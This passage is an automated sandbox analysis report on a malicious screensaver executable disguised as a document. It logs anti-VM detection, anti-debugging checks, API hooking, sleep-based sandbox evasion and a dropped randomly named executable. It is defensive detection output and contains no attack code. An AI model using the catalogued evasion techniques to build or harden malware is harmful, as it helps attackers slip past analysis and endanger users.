Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: PASU5160894680 DOCS.scr.exe PID: 7336, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\control.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\control.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\control.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\control.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\control.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\control.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\control.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\control.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Memory allocated: 1610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Memory allocated: 33C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Memory allocated: 53C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Memory allocated: 80D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Memory allocated: 90D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Memory allocated: 9280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Memory allocated: A280000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 4_2_0561096E rdtsc

4_2_0561096E

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6378	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2595	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Window / User API: threadDelayed 4439	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Window / User API: threadDelayed 5533	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\control.exe	API coverage: 3.1 %

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe TID: 7356	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7664	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe TID: 7952	Thread sleep count: 4439 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe TID: 7952	Thread sleep time: -8878000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe TID: 7952	Thread sleep count: 5533 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe TID: 7952	Thread sleep time: -11066000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe TID: 8056	Thread sleep time: -75000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe TID: 8056	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe TID: 8056	Thread sleep time: -52500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe TID: 8056	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe TID: 8056	Thread sleep time: -42000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\control.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\control.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\control.exe

Code function: 6_2_00C6C1D0 FindFirstFileW,FindNextFileW,FindClose,

6_2_00C6C1D0

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: uFLByAWAOFbhtV.exe, 0000000A.00000002.4132823778.000000000145F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllW
Source: control.exe, 00000006.00000002.4132398440.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000B.00000002.2139906459.000001998891C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 4_2_0561096E rdtsc

4_2_0561096E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 4_2_00417283 LdrLoadDll,

4_2_00417283

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560656A mov eax, dword ptr fs:[00000030h]	4_2_0560656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560656A mov eax, dword ptr fs:[00000030h]	4_2_0560656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560656A mov eax, dword ptr fs:[00000030h]	4_2_0560656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D8550 mov eax, dword ptr fs:[00000030h]	4_2_055D8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D8550 mov eax, dword ptr fs:[00000030h]	4_2_055D8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE53E mov eax, dword ptr fs:[00000030h]	4_2_055FE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE53E mov eax, dword ptr fs:[00000030h]	4_2_055FE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE53E mov eax, dword ptr fs:[00000030h]	4_2_055FE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE53E mov eax, dword ptr fs:[00000030h]	4_2_055FE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE53E mov eax, dword ptr fs:[00000030h]	4_2_055FE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05666500 mov eax, dword ptr fs:[00000030h]	4_2_05666500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4500 mov eax, dword ptr fs:[00000030h]	4_2_056A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4500 mov eax, dword ptr fs:[00000030h]	4_2_056A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4500 mov eax, dword ptr fs:[00000030h]	4_2_056A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4500 mov eax, dword ptr fs:[00000030h]	4_2_056A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4500 mov eax, dword ptr fs:[00000030h]	4_2_056A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4500 mov eax, dword ptr fs:[00000030h]	4_2_056A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4500 mov eax, dword ptr fs:[00000030h]	4_2_056A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0535 mov eax, dword ptr fs:[00000030h]	4_2_055E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0535 mov eax, dword ptr fs:[00000030h]	4_2_055E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0535 mov eax, dword ptr fs:[00000030h]	4_2_055E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0535 mov eax, dword ptr fs:[00000030h]	4_2_055E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0535 mov eax, dword ptr fs:[00000030h]	4_2_055E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0535 mov eax, dword ptr fs:[00000030h]	4_2_055E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D65D0 mov eax, dword ptr fs:[00000030h]	4_2_055D65D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560C5ED mov eax, dword ptr fs:[00000030h]	4_2_0560C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560C5ED mov eax, dword ptr fs:[00000030h]	4_2_0560C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E5CF mov eax, dword ptr fs:[00000030h]	4_2_0560E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E5CF mov eax, dword ptr fs:[00000030h]	4_2_0560E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560A5D0 mov eax, dword ptr fs:[00000030h]	4_2_0560A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560A5D0 mov eax, dword ptr fs:[00000030h]	4_2_0560A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE5E7 mov eax, dword ptr fs:[00000030h]	4_2_055FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE5E7 mov eax, dword ptr fs:[00000030h]	4_2_055FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE5E7 mov eax, dword ptr fs:[00000030h]	4_2_055FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE5E7 mov eax, dword ptr fs:[00000030h]	4_2_055FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE5E7 mov eax, dword ptr fs:[00000030h]	4_2_055FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE5E7 mov eax, dword ptr fs:[00000030h]	4_2_055FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE5E7 mov eax, dword ptr fs:[00000030h]	4_2_055FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FE5E7 mov eax, dword ptr fs:[00000030h]	4_2_055FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D25E0 mov eax, dword ptr fs:[00000030h]	4_2_055D25E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056505A7 mov eax, dword ptr fs:[00000030h]	4_2_056505A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056505A7 mov eax, dword ptr fs:[00000030h]	4_2_056505A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056505A7 mov eax, dword ptr fs:[00000030h]	4_2_056505A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D2582 mov eax, dword ptr fs:[00000030h]	4_2_055D2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D2582 mov ecx, dword ptr fs:[00000030h]	4_2_055D2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05604588 mov eax, dword ptr fs:[00000030h]	4_2_05604588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F45B1 mov eax, dword ptr fs:[00000030h]	4_2_055F45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F45B1 mov eax, dword ptr fs:[00000030h]	4_2_055F45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E59C mov eax, dword ptr fs:[00000030h]	4_2_0560E59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C645D mov eax, dword ptr fs:[00000030h]	4_2_055C645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F245A mov eax, dword ptr fs:[00000030h]	4_2_055F245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565C460 mov ecx, dword ptr fs:[00000030h]	4_2_0565C460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E443 mov eax, dword ptr fs:[00000030h]	4_2_0560E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E443 mov eax, dword ptr fs:[00000030h]	4_2_0560E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E443 mov eax, dword ptr fs:[00000030h]	4_2_0560E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E443 mov eax, dword ptr fs:[00000030h]	4_2_0560E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E443 mov eax, dword ptr fs:[00000030h]	4_2_0560E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E443 mov eax, dword ptr fs:[00000030h]	4_2_0560E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E443 mov eax, dword ptr fs:[00000030h]	4_2_0560E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E443 mov eax, dword ptr fs:[00000030h]	4_2_0560E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FA470 mov eax, dword ptr fs:[00000030h]	4_2_055FA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FA470 mov eax, dword ptr fs:[00000030h]	4_2_055FA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FA470 mov eax, dword ptr fs:[00000030h]	4_2_055FA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0568A456 mov eax, dword ptr fs:[00000030h]	4_2_0568A456
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05656420 mov eax, dword ptr fs:[00000030h]	4_2_05656420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05656420 mov eax, dword ptr fs:[00000030h]	4_2_05656420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05656420 mov eax, dword ptr fs:[00000030h]	4_2_05656420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05656420 mov eax, dword ptr fs:[00000030h]	4_2_05656420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05656420 mov eax, dword ptr fs:[00000030h]	4_2_05656420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05656420 mov eax, dword ptr fs:[00000030h]	4_2_05656420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05656420 mov eax, dword ptr fs:[00000030h]	4_2_05656420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05608402 mov eax, dword ptr fs:[00000030h]	4_2_05608402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05608402 mov eax, dword ptr fs:[00000030h]	4_2_05608402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05608402 mov eax, dword ptr fs:[00000030h]	4_2_05608402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CC427 mov eax, dword ptr fs:[00000030h]	4_2_055CC427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CE420 mov eax, dword ptr fs:[00000030h]	4_2_055CE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CE420 mov eax, dword ptr fs:[00000030h]	4_2_055CE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CE420 mov eax, dword ptr fs:[00000030h]	4_2_055CE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D04E5 mov ecx, dword ptr fs:[00000030h]	4_2_055D04E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056044B0 mov ecx, dword ptr fs:[00000030h]	4_2_056044B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565A4B0 mov eax, dword ptr fs:[00000030h]	4_2_0565A4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0568A49A mov eax, dword ptr fs:[00000030h]	4_2_0568A49A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D64AB mov eax, dword ptr fs:[00000030h]	4_2_055D64AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D0750 mov eax, dword ptr fs:[00000030h]	4_2_055D0750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560674D mov esi, dword ptr fs:[00000030h]	4_2_0560674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560674D mov eax, dword ptr fs:[00000030h]	4_2_0560674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560674D mov eax, dword ptr fs:[00000030h]	4_2_0560674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D8770 mov eax, dword ptr fs:[00000030h]	4_2_055D8770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770 mov eax, dword ptr fs:[00000030h]	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770 mov eax, dword ptr fs:[00000030h]	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770 mov eax, dword ptr fs:[00000030h]	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770 mov eax, dword ptr fs:[00000030h]	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770 mov eax, dword ptr fs:[00000030h]	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770 mov eax, dword ptr fs:[00000030h]	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770 mov eax, dword ptr fs:[00000030h]	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770 mov eax, dword ptr fs:[00000030h]	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770 mov eax, dword ptr fs:[00000030h]	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770 mov eax, dword ptr fs:[00000030h]	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770 mov eax, dword ptr fs:[00000030h]	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770 mov eax, dword ptr fs:[00000030h]	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05654755 mov eax, dword ptr fs:[00000030h]	4_2_05654755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612750 mov eax, dword ptr fs:[00000030h]	4_2_05612750
